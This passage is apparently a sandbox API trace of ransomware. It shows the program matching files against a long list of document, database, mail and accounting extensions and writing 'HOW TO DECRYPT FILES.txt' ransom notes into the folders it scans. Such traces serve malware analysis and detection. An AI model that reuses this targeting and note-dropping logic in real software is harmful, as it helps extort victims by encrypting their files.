5 [0144.437] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.mbox") returned 0 [0144.437] lstrlenA (lpString="*.mbox") returned 6 [0144.437] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.eml") returned 0 [0144.437] lstrlenA (lpString="*.eml") returned 5 [0144.437] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.pst") returned 0 [0144.438] lstrlenA (lpString="*.pst") returned 5 [0144.438] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.ost") returned 0 [0144.438] lstrlenA (lpString="*.ost") returned 5 [0144.438] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.idx") returned 0 [0144.438] lstrlenA (lpString="*.idx") returned 5 [0144.438] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.dbx") returned 0 [0144.438] lstrlenA (lpString="*.dbx") returned 5 [0144.438] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.sql") returned 0 [0144.438] lstrlenA (lpString="*.sql") returned 5 [0144.438] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.mdb") returned 0 [0144.438] lstrlenA (lpString="*.mdb") returned 5 [0144.438] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.fdb") returned 0 [0144.438] lstrlenA (lpString="*.fdb") returned 5 [0144.438] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.wab") returned 0 [0144.438] lstrlenA (lpString="*.wab") returned 5 [0144.438] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.dat") returned 0 [0144.438] lstrlenA (lpString="*.dat") returned 5 [0144.438] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.txt") returned 0 [0144.438] lstrlenA (lpString="*.txt") returned 5 [0144.438] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.jpeg") returned 0 [0144.438] lstrlenA (lpString="*.jpeg") returned 6 [0144.438] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.jpg") returned 0 [0144.438] lstrlenA (lpString="*.jpg") returned 5 [0144.438] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.png") returned 0 [0144.438] lstrlenA (lpString="*.png") returned 5 [0144.438] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.php") returned 0 [0144.439] lstrlenA (lpString="*.php") returned 5 [0144.439] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.cs") returned 0 [0144.439] lstrlenA (lpString="*.cs") returned 4 [0144.439] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.cpp") returned 0 [0144.439] lstrlenA (lpString="*.cpp") returned 5 [0144.439] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.rar") returned 0 [0144.439] lstrlenA (lpString="*.rar") returned 5 [0144.439] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.zip") returned 0 [0144.439] lstrlenA (lpString="*.zip") returned 5 [0144.439] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.html") returned 0 [0144.439] lstrlenA (lpString="*.html") returned 6 [0144.439] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.htm") returned 0 [0144.439] lstrlenA (lpString="*.htm") returned 5 [0144.439] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.xlsx") returned 0 [0144.439] lstrlenA (lpString="*.xlsx") returned 6 [0144.439] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.xls") returned 0 [0144.439] lstrlenA (lpString="*.xls") returned 5 [0144.439] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.mp4") returned 0 [0144.439] lstrlenA (lpString="*.mp4") returned 5 [0144.439] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.ppt") returned 0 [0144.439] lstrlenA (lpString="*.ppt") returned 5 [0144.439] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.pptx") returned 0 [0144.439] lstrlenA (lpString="*.pptx") returned 6 [0144.439] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.doc") returned 0 [0144.439] lstrlenA (lpString="*.doc") returned 5 [0144.439] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.dot") returned 0 [0144.439] lstrlenA (lpString="*.dot") returned 5 [0144.440] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.docx") returned 0 [0144.440] lstrlenA (lpString="*.docx") returned 6 [0144.440] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.7z") returned 0 [0144.440] lstrlenA (lpString="*.7z") returned 4 [0144.440] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.tar") returned 0 [0144.440] lstrlenA (lpString="*.tar") returned 5 [0144.440] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.bz2") returned 0 [0144.440] lstrlenA (lpString="*.bz2") returned 5 [0144.440] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.gz") returned 0 [0144.440] lstrlenA (lpString="*.gz") returned 4 [0144.440] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.mkv") returned 0 [0144.440] lstrlenA (lpString="*.mkv") returned 5 [0144.440] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.eml") returned 0 [0144.440] lstrlenA (lpString="*.eml") returned 5 [0144.440] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.msg") returned 0 [0144.440] lstrlenA (lpString="*.msg") returned 5 [0144.440] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.edb") returned 0 [0144.440] lstrlenA (lpString="*.edb") returned 5 [0144.440] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.accdb") returned 0 [0144.440] lstrlenA (lpString="*.accdb") returned 7 [0144.440] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.odb") returned 0 [0144.441] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x524ab327, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x524ab327, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x524ab327, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 1 [0144.441] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0144.441] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="94308059B57B3142E455B38A6EB92015") returned 1 [0144.441] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="94308059B57B3142E455B38A6EB92015") returned 1 [0144.441] lstrcmpiA (lpString1="", lpString2="94308059B57B3142E455B38A6EB92015") returned -1 [0144.441] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned="7B2238AACCEDC3F1FFE8E7EB5F575EC9" [0144.441] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0144.441] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0144.441] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0144.441] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0144.442] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="94308059B57B3142E455B38A6EB92015" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015" [0144.442] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015", pszSpec="*.ems") returned 0 [0144.442] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x524ab327, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x524ab327, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x524ab327, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 0 [0144.442] FindClose (in: hFindFile=0x502718 | out: hFindFile=0x502718) returned 1 [0144.442] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x524ab327, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x524ab327, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x524ab327, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x203, cFileName="MetaData", cAlternateFileName="")) returned 1 [0144.442] lstrcmpA (lpString1=".", lpString2="MetaData") returned -1 [0144.442] lstrcmpA (lpString1="..", lpString2="MetaData") returned -1 [0144.442] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*.*") returned="*.*" [0144.443] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\", lpString2="MetaData" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData" [0144.443] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x524ab327, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x524ab327, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x524ab327, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43005c, dwReserved1=0x6e006f, cFileName=".", cAlternateFileName="")) returned 0x502718 [0144.443] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.443] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x524ab327, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x524ab327, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x524ab327, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x6e0000, cFileName="..", cAlternateFileName="")) returned 1 [0144.443] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.443] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.443] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x524ab327, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x524ab327, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x537078b0, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1 [0144.443] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0144.444] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned 1 [0144.444] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned 1 [0144.444] lstrcmpiA (lpString1="", lpString2="7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned -1 [0144.444] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*.*") returned="*.*" [0144.444] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0144.444] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0144.444] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt" [0144.444] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\how to decrypt files.txt")) returned 0xffffffff [0144.444] CreateFileA (lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa0 [0144.449] SetFileTime (hFile=0xa0, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0144.450] CloseHandle (hObject=0xa0) returned 1 [0144.450] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", lpString2="7B2238AACCEDC3F1FFE8E7EB5F575EC9" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9" [0144.450] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.ems") returned 0 [0144.450] lstrlenA (lpString="*.ems") returned 5 [0144.450] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.db") returned 0 [0144.450] lstrlenA (lpString="*.db") returned 4 [0144.450] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.dbf") returned 0 [0144.451] lstrlenA (lpString="*.dbf") returned 5 [0144.451] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.myox") returned 0 [0144.451] lstrlenA (lpString="*.myox") returned 6 [0144.451] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.myo") returned 0 [0144.451] lstrlenA (lpString="*.myo") returned 5 [0144.451] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.qbw") returned 0 [0144.451] lstrlenA (lpString="*.qbw") returned 5 [0144.451] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.qbb") returned 0 [0144.451] lstrlenA (lpString="*.qbb") returned 5 [0144.451] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.qbm") returned 0 [0144.451] lstrlenA (lpString="*.qbm") returned 5 [0144.451] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.qbo") returned 0 [0144.451] lstrlenA (lpString="*.qbo") returned 5 [0144.451] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.qbx") returned 0 [0144.451] lstrlenA (lpString="*.qbx") returned 5 [0144.451] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.qba") returned 0 [0144.451] lstrlenA (lpString="*.qba") returned 5 [0144.451] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.qby") returned 0 [0144.451] lstrlenA (lpString="*.qby") returned 5 [0144.451] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.qbj") returned 0 [0144.451] lstrlenA (lpString="*.qbj") returned 5 [0144.451] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.ofx") returned 0 [0144.451] lstrlenA (lpString="*.ofx") returned 5 [0144.451] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.qif") returned 0 [0144.451] lstrlenA (lpString="*.qif") returned 5 [0144.452] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.mye") returned 0 [0144.452] lstrlenA (lpString="*.mye") returned 5 [0144.452] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.mbox") returned 0 [0144.452] lstrlenA (lpString="*.mbox") returned 6 [0144.452] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.eml") returned 0 [0144.452] lstrlenA (lpString="*.eml") returned 5 [0144.452] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.pst") returned 0 [0144.452] lstrlenA (lpString="*.pst") returned 5 [0144.452] PathMatchSpecA 